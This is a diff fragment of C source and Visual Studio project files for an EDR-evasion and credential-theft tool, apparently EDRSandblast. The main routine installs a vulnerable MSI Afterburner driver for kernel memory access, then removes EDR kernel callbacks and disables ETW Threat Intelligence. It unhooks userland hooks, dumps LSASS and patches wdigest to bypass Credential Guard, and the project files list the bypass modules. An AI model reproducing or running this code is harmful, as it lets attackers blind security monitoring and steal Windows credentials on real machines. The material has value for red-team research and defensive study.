_tprintf(TEXT("\n\n"));
|
||||
|
||||
// Install the vulnerable driver to have read / write in Kernel memory.
|
||||
_tprintf(TEXT("Installing vulnerable MSI Afterburner driver...\n"));
|
||||
status = InstallVulnerableDriver(driverPath);
|
||||
if (status != TRUE) {
|
||||
_tprintf(TEXT("[!] An error occurred while installing the vulnerable MSI Afterburner driver\n"));
|
||||
_tprintf(TEXT("[*] Uninstalling the service and attempting the install again...\n"));
|
||||
Sleep(2000);
|
||||
status = UninstallVulnerableDriver();
|
||||
Sleep(2000);
|
||||
status = status && InstallVulnerableDriver(driverPath);
|
||||
Sleep(2000);
|
||||
if (status != TRUE) {
|
||||
_tprintf(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the MSI Afterburner driver left...\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
Sleep(5000);
|
||||
|
||||
// Checks if any EDR callbacks are configured. If no EDR callbacks are found, then dump LSASS / exec cmd / patch CredGuard. Ohterwise, remove the EDR callbacks and start a new (unmonitored) process executing itself to dump LSASS.
|
||||
_tprintf(TEXT("Checking if any EDR Kernel callbacks are configured...\n"));
|
||||
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!checkEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
||||
if (checkEDRDrivers->index) {
|
||||
isSafeToExecutePayload = FALSE;
|
||||
}
|
||||
|
||||
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
|
||||
_tprintf(TEXT("[+] ETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
|
||||
_tprintf(TEXT("\n\n"));
|
||||
if (ETWTIState) {
|
||||
isSafeToExecutePayload = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if (userMode) {
|
||||
_tprintf(TEXT("Loaded DLLs in current process:\n"));
|
||||
hooks = searchHooks(NULL);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
}
|
||||
|
||||
if (startMode != audit) {
|
||||
if (userMode) {
|
||||
for (hook* ptr = hooks; ptr->disk_function != NULL; ptr++) {
|
||||
printf("Unhooking %s using method %ld ...\n", ptr->functionName, unhook_method);
|
||||
unhook(ptr, unhook_method);
|
||||
}
|
||||
}
|
||||
|
||||
if (isSafeToExecutePayload) {
|
||||
_tprintf(TEXT("[+] Process is \"safe\" to launch our payload\n"));
|
||||
|
||||
// Do the operation the tool was started for.
|
||||
switch (startMode) {
|
||||
|
||||
// Start a process executing cmd.exe.
|
||||
case cmd:
|
||||
_tprintf(TEXT("[+] Kernel callbacks have normally been removed, starting cmd.exe\n")
|
||||
TEXT("WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)\n")
|
||||
TEXT("WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!\n\n"));
|
||||
// Find cmd.exe path.
|
||||
TCHAR systemDirectory[MAX_PATH * 2] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
TCHAR cmdPath[MAX_PATH * 2] = { 0 };
|
||||
_tcscat_s(cmdPath, _countof(cmdPath), systemDirectory);
|
||||
_tcscat_s(cmdPath, _countof(cmdPath), TEXT("\\cmd.exe"));
|
||||
_tsystem(cmdPath);
|
||||
break;
|
||||
|
||||
// Dump the LSASS process in a new thread.
|
||||
case dump:
|
||||
if (kernelMode) {
|
||||
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS (offset of _PS_PROTECTION exists). This will allow access to LSASS if RunAsPPL is enabled\n"));
|
||||
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
|
||||
SetCurrentProcessAsProtected(verbose);
|
||||
}
|
||||
}
|
||||
|
||||
if (_tcslen(outputPath) == 0) {
|
||||
TCHAR outputName[] = TEXT("\\lsass");
|
||||
_tcsncat_s(outputPath, _countof(outputPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(outputPath, _countof(outputPath), outputName, _countof(outputName));
|
||||
}
|
||||
|
||||
_tprintf(TEXT("[+] Attempting to dump LSASS\n"));
|
||||
HANDLE hThread = CreateThread(NULL, 0, dumpLSASSProcess, outputPath, 0, NULL);
|
||||
if (hThread) {
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
GetExitCodeThread(hThread, (PDWORD)&lpExitCode);
|
||||
if (lpExitCode != 0) {
|
||||
_tprintf(TEXT("[!] A fatal error occurred during the LSASS dump / execution of cmd.exe\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] An error occurred while attempting to start the new thread...\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
break;
|
||||
|
||||
|
||||
// Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory.
|
||||
case credguard:
|
||||
if (kernelMode) {
|
||||
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS(Offset of _PS_PROTECTION exists). This will allow lsass access is RunAsPPL is enabled\n"));
|
||||
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
|
||||
SetCurrentProcessAsProtected(verbose);
|
||||
}
|
||||
}
|
||||
if (_tcslen(wdigestOffsetCSVPath) == 0) {
|
||||
TCHAR offsetCSVName[] = TEXT("\\WdigestOffsets.csv");
|
||||
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
||||
}
|
||||
|
||||
wdigestOffsets = GetWdigestVersionOffsets(wdigestOffsetCSVPath);
|
||||
if (wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
|
||||
_tprintf(TEXT("[!] No known offsets for the version of wdigest.dll in use, Windows Credential Guard will not be bypassed. The required offsets must be computed and added to the offsets CSV file.\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("\n\n"));
|
||||
if (disableCredGuardByPatchingLSASS()) {
|
||||
_tprintf(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system.\n"));
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed.\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and start another process...\n"));
|
||||
#ifdef _DEBUG
|
||||
assert(kernelMode);
|
||||
#endif
|
||||
/*
|
||||
* 1/3 : Removing kernel-based monitoring.
|
||||
*/
|
||||
// Disable (temporarily) ETW Threat Intel functions by patching the ETW Threat Intel provider ProviderEnableInfo.
|
||||
if (ETWTIState) {
|
||||
DisableETWThreatIntelProvider(verbose);
|
||||
}
|
||||
// If kernel callbacks are monitoring processes, we remove them and start a new process.
|
||||
if (checkEDRDrivers && checkEDRDrivers->index != 0) {
|
||||
_tprintf(TEXT("EDR driver(s) found in Kernel callbacks, attempting to remove them...\n"));
|
||||
// Removes EDR drivers callbacks for process / threads creation and image loading.
|
||||
removedEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!removedEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to remove the drivers in Kernel callbacks\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tprintf(TEXT("--- Removing EDR driver(s) in process creation Kernel callbacks...\n"));
|
||||
RemoveEDRProcessNotifyCallbacks(removedEDRDrivers, verbose);
|
||||
_tprintf(TEXT("--- Removing EDR driver(s) in threads creation Kernel callbacks...\n"));
|
||||
RemoveEDRThreadNotifyCallbacks(removedEDRDrivers, verbose);
|
||||
_tprintf(TEXT("--- Removing EDR driver(s) in image loading Kernel callbacks...\n"));
|
||||
RemoveEDRImageNotifyCallbacks(removedEDRDrivers, verbose);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
// Checks that EDR drivers were indeed removed and if so, go on with the payload.
|
||||
_tprintf(TEXT("Checking that all EDR driver(s) were successfully removed from Kernel callbacks...\n"));
|
||||
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!checkEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
|
||||
free(removedEDRDrivers);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
if (checkEDRDrivers->index != 0) {
|
||||
_tprintf(TEXT("[!] All EDR drivers could not be removed from Kernel callbacks, exiting..."));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
free(checkEDRDrivers);
|
||||
}
|
||||
|
||||
/*
|
||||
* 2/3 : Starting "resursively" our process.
|
||||
*/
|
||||
// Re-executing the present binary, without any kernel callback nor ETWTI enabled.
|
||||
_tprintf(TEXT("All EDR drivers were successfully removed from Kernel callbacks\nStarting a new unmonitored process ...\n"));
|
||||
_tprintf(TEXT("\n\n"));
|
||||
STARTUPINFO si;
|
||||
PROCESS_INFORMATION pi;
|
||||
memset(&si, 0, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
memset(&pi, 0, sizeof(pi));
|
||||
// Pass the same argument, only add the "--dont-unload-driver" flag as the vulnerable driver will still be needed by the parent process.
|
||||
TCHAR* currentCommandLine = GetCommandLine();
|
||||
TCHAR* noRemoveFlag = _tcsdup(TEXT(" --dont-unload-driver"));
|
||||
|
||||
//TODO: fix length calculation. _tcslen returns the length that should be used, but error due to "no const".
|
||||
const SIZE_T commandLineMaxLen = 32768;
|
||||
TCHAR* commandLine = (TCHAR*)calloc(commandLineMaxLen, sizeof(TCHAR));
|
||||
_tcsncat_s(commandLine, commandLineMaxLen, currentCommandLine, _tcslen(currentCommandLine));
|
||||
_tcsncat_s(commandLine, commandLineMaxLen, noRemoveFlag, _tcslen(noRemoveFlag));
|
||||
|
||||
if (CreateProcess(argv[0], commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
|
||||
WaitForSingleObject(pi.hProcess, INFINITE);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] An error occured while trying to create a new process\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
free(commandLine);
|
||||
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
/*
|
||||
* 3/3 : Restoring state after execution.
|
||||
*/
|
||||
// By default, restore the removed EDR kernel callbacks. restoreCallbacks set to FALSE if the no restore CLI flag is set.
|
||||
if (restoreCallbacks == TRUE && removedEDRDrivers && removedEDRDrivers->index != 0) {
|
||||
// Restores the EDR drivers.
|
||||
_tprintf(TEXT("Restoring EDR driver(s) Kernel callbacks...\n"));
|
||||
RestoreEDRCallbacks(removedEDRDrivers);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
// Checks that the EDR drivers were indeed restored.
|
||||
_tprintf(TEXT("Checking that all EDR driver(s) were successfully restored in Kernel callbacks...\n"));
|
||||
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!checkEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to check if the EDR drivers were successfully restored in Kernel callbacks\n"));
|
||||
}
|
||||
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
||||
if (removedEDRDrivers && checkEDRDrivers && removedEDRDrivers->index == checkEDRDrivers->index) {
|
||||
_tprintf(TEXT("[+] All EDR drivers were successfully restored in Kernel callbacks\n"));
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] All EDR drivers could not be restored, continuing...\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
free(checkEDRDrivers);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
}
|
||||
|
||||
// Renable the ETW Threat Intel provider.
|
||||
// TODO : make this conditionnal, just as kernel callbacks restoring ?
|
||||
if (ETWTIState) {
|
||||
EnableETWThreatIntelProvider(verbose);
|
||||
}
|
||||
|
||||
if (removedEDRDrivers) {
|
||||
free(removedEDRDrivers);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TODO : Fix Windows error 0x00000422 that happens on 1 on 2 restart after uninstall.
|
||||
if (kernelMode && removeVulnDriver) {
|
||||
Sleep(5000);
|
||||
_tprintf(TEXT("[*] Uninstalling vulnerable MSI Afterburner driver...\n"));
|
||||
status = UninstallVulnerableDriver();
|
||||
if (status == FALSE) {
|
||||
_tprintf(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver\n"));
|
||||
_tprintf(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), gVulnDriverServiceName);
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] The vulnerable driver was successfully uninstalled!\n"));
|
||||
}
|
||||
}
|
||||
|
||||
return lpExitCode;
|
||||
}
|
||||
@@ -0,0 +1,195 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{7e3e2ece-d1eb-43c6-8c83-b52b7571954b}</ProjectGuid>
|
||||
<RootNamespace>EDRSandblast</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level4</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level4</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level4</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>Includes/</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level4</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>Includes\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="EDRBypass\ETWThreatIntel.c" />
|
||||
<ClCompile Include="EDRBypass\KernelCallbacks.c" />
|
||||
<ClCompile Include="EDRSandblast.c" />
|
||||
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
|
||||
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c" />
|
||||
<ClCompile Include="Userland\PEBBrowse.c" />
|
||||
<ClCompile Include="Userland\PEParser.c" />
|
||||
<ClCompile Include="Userland\UserlandHooks.c" />
|
||||
<ClCompile Include="Utils\DriverOps.c" />
|
||||
<ClCompile Include="Utils\FileVersion.c" />
|
||||
<ClCompile Include="Utils\KernelMemoryPrimitives.c" />
|
||||
<ClCompile Include="Utils\KernelPatternSearch.c" />
|
||||
<ClCompile Include="Utils\LSASSDump.c" />
|
||||
<ClCompile Include="Utils\NtoskrnlOffsets.c" />
|
||||
<ClCompile Include="Utils\WdigestOffsets.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Includes\DriverOps.h" />
|
||||
<ClInclude Include="EDRSandBlast.h" />
|
||||
<ClInclude Include="Includes\ETWThreatIntel.h" />
|
||||
<ClInclude Include="Includes\FileVersion.h" />
|
||||
<ClInclude Include="Includes\Globals.h" />
|
||||
<ClInclude Include="Includes\KernelCallbacks.h" />
|
||||
<ClInclude Include="Includes\KernelMemoryPrimitives.h" />
|
||||
<ClInclude Include="Includes\KernelPatternSearch.h" />
|
||||
<ClInclude Include="Includes\LSASSDump.h" />
|
||||
<ClInclude Include="Includes\NtoskrnlOffsets.h" />
|
||||
<ClInclude Include="Includes\PEBBrowse.h" />
|
||||
<ClInclude Include="Includes\PEParser.h" />
|
||||
<ClInclude Include="Includes\Undoc.h" />
|
||||
<ClInclude Include="Includes\Undoc_64.h" />
|
||||
<ClInclude Include="Includes\UserlandHooks.h" />
|
||||
<ClInclude Include="Includes\WdigestOffsets.h" />
|
||||
<ClInclude Include="Includes\CredGuard.h" />
|
||||
<ClInclude Include="Includes\RunAsPPL.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,123 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Source Files\LSASSProtectionBypass">
|
||||
<UniqueIdentifier>{54b0d87a-da5b-4c62-99f2-30e8848bbfda}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="EDRSandblast.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="EDRBypass\KernelCallbacks.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="LSASSProtectionBypass\CredGuard.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\KernelMemoryPrimitives.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\DriverOps.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\LSASSDump.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\FileVersion.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\KernelPatternSearch.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\NtoskrnlOffsets.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\WdigestOffsets.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="EDRBypass\ETWThreatIntel.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Userland\PEBBrowse.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Userland\PEParser.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Userland\UserlandHooks.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Includes\CredGuard.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\RunAsPPL.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\KernelMemoryPrimitives.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="EDRSandBlast.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
